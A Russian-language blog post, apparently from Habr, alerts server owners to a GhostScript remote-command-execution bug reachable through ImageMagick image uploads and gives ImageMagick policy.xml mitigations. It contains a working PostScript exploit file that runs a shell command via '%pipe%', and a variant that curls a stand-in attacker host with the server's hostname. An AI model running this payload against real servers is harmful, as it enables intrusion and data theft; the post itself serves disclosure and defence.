Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)
Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?
Как проверить, что ваш сервер уязвим?
Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)
%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).
userdict /setpagedevice undef
a4
currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped clear
% make sure we have a device with OutputFile
(ppmraw) selectdevice
mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops
{ showpage } stopped pop
quit
Ключевая команда: sleep 5
Альтернативной командой может быть
mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops
или что-то гораздо менее безобидное.
Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также в��зывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.
Что делать?
К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии.
На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.
UPD: в комментариях пишут что уязвимость всё ещё не исправлена в библиотеке!
UPD2: фикс для фикс для imagemagick для запрещения использования PostScript и PDF файлов от elvenpath: в файле /etc/ImageMagick-6/policy.xml или /etc/ImageMagick-7/policy.xml в зависимости от версии ImageMagick нужно написать:
<policymap>
<policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" />
</policymap>
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
А ты проверил свой сервер?
33.33%У меня неуязвимый сервер39
5.13%У меня была уязвимость, но теперь её нет6
61.54%У меня и проверять то нечего72
Проголосовали 117 пользователей. Воздержались 72 пользователя.